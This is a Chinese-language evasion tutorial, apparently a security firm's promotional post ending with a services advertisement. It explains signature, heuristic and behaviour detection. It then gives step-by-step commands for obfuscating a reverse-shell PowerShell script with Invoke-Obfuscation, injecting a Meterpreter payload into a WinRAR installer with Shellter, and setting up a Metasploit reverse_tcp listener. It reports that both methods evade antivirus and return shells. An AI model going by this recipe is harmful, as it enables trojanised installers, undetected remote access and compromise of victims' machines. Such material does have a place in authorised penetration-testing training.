防御规避战术下概述的技术为我们提供了一种清晰而系统的方法来规避对目标系统的探测。
基于签名的检测-AV签名是唯一标识恶意软件的唯一散列。因此,您必须确保混淆的漏洞利用或有效负载与AV数据库中的任何已知签名不匹配。
我们可以通过修改恶意软件的字节序列来绕过基于签名的检测,从而改变签名。
基于启发式的检测-依赖于规则或决策来确定二进制文件是否是恶意的。它还查找代码或程序调用中的特定模式。
基于行为的检测-依赖于通过监控恶意软件的行为来识别恶意软件。(Used对于新的恶意软件菌株)
Invoke-Obfuscation是一个兼容PowerShellv2.0+的PowerShell命令和脚本混淆器(https://github.com/danielbohannon/Invoke-Obfuscation)。
我们可以使用Invoke-Obfuscation来混淆/编码我们的恶意PowerShell脚本。PowerShell脚本更有可能逃避反病毒检测,因为代码是在解释器中执行的,并且很难检测代码本质上是否是恶意的。
注意:使用的目标应该能够执行PowerShell脚本,否则,我们将无法执行混淆/编码的PowerShell脚本。
在Kali上设置调用模糊处理
sudo apt-get install powershell -y
pwsh
这应该会向您显示一个标准的PowerShell提示符,我们可以使用它来运行PowerShell命令和脚本,如下面的屏幕截图所示。
git clonehttps://github.com/danielbohannon/Invoke-Obfuscation.git
.\Invoke-Obfuscation.ps1
5、如果您正确地遵循了前面的过程,那么Invoke-Obfuscation脚本将执行,并且您应该看到一个屏幕,如下面的屏幕截图所示。
使用Invoke-Obfuscation编码PowerShell脚本
现在我们已经在Kali Linux上安装了PowerShell,并配置了Invoke-Obfuscation脚本,我们可以看看如何编码PowerShell脚本。
1、第一步将涉及创建/开发恶意PowerShell脚本并将其保存在可访问的目录中。在本例中,我们将使用反向shellPowerShell脚本,该脚本可在以下位置找到:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell
2、创建并保存恶意PowerShell脚本后,我们需要使用Invoke-Obfuscate指定脚本路径,这可以通过在Invoke-Obfuscate提示符中运行以下命令来完成:
SET SCRIPTPATH /PATH-TO-SCRIPT/script.ps1
3、指定脚本路径后,系统将提示您使用混淆方法菜单,如下面的屏幕截图所示。
4、在这种情况下,我们将使用AST混淆方法,可以通过在Invoke-Obfuscate提示符中运行以下命令来选择此选项:
AST
5、现在将提示您使用AST混淆选项,在本例中,我们将使用“ALL”选项。可以通过在Invoke-Obfuscate提示符下运行以下命令来选择此选项:
ALL
6、现在将提示您确认混淆方法,这可以通过运行以下命令来完成:
1
7、Invoke-Obfuscation现在将对脚本进行模糊处理,并输出经过模糊处理的PowerShell代码,如下面的屏幕截图所示。
8、现在,您可以复制混淆的PowerShell脚本并将其保存在新文件中,然后可以将其传输到目标Windows系统并执行它。
9、执行脚本不会引发任何AV检测/标志,并且我们能够在netcat侦听器上接收反向shell连接,如以下屏幕截图所示。
我们已经能够成功地混淆我们的恶意PowerShell脚本并逃避任何AV检测,或者您也可以使用Invoke-Obfuscate来混淆或编码单个PowerShell命令。
使用Shellter进行防御规避
在Kali Linux上安装Shellter
Shellter可以通过以下步骤安装在Kali Linux上:
1、第一步将涉及安装运行Shellter所需的依赖项,可以通过运行以下命令来安装它们:
dpkg --add-architecture i386
sudo apt-get update&&apt install wine32
2、安装完依赖项后,可以通过运行以下命令安装Shellter:
sudo apt-get install shellter -y
3、为了启动Shellter,您需要导航到以下目录:
cd /usr/share/windows-resources/shellter/
4、我们现在可以通过Wine运行Shellter来启动它,因为它是一个Windows PE。这可以通过运行以下命令来完成:
sudo wine shellter.exe
5、如果Shellter成功执行,您将看到一个类似于下面屏幕截图中所示的屏幕。
用Shellter将有效载荷注入可移植可执行文件
此过程的第一步将涉及下载目标可执行文件,这将是WinRAR安装程序可执行文件作为我们的可移植可执行文件。WinRAR可以从这里下载:https://www.win—rar.com/predownload.html?&L=0&版本= 32位
注意:确保您下载的是32位版本的WinRAR,因为Shellter无法在64位可移植可执行文件上执行有效负载注入
下一步将涉及启动Shellter并选择操作模式,在本例中,我们将使用自动模式。这可以通过指定“A”选项来完成,如下面的屏幕截图中突出显示的。
8、在指定Meterpreter payload选项之后,Shellter将开始将payload注入目标PE的过程。之后,Shellter将确认注射过程,如以下屏幕截图所示。
9、我们现在需要使用Metasploit设置监听器,以便在执行目标可执行文件时接收反向tcp连接。这可以通过在Metasploit-framework中运行以下命令来完成:
msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
run
10、在设置Metasploit侦听器之后,您现在需要将我们注入有效负载的目标PE传输到目标系统中。一旦目标PE被执行,我们应该在监听器上接收到一个meterpreter会话,如下面的屏幕截图所示。
目标PE在目标系统上的执行未被AV检测到,因此,我们能够在目标系统上获得meterpreter会话。
团队业务范围 1. 《漏洞扫描服务》
2. 《渗透测试服务》
3. 《互联网暴露面服务》
4. 《APP安全测试服务》
5. 《代码审计服务》
6.《CTF\WEB\内网培训业务》
7. 《应急响应服务》
8. 《实战攻防演习服务》
9. 《钓鱼邮件测试服务》
团队时刻保持专业和热情,并且致力于提供卓越的服务,让每一位客户都能感受到
我们的用心与专业。无论您遇到什么问题或需求,我们都会全心全意地为您解决,
让您享受到最优质的服务体验。(业务需要请关注公众号微信联系)
点击下方名片关注公众号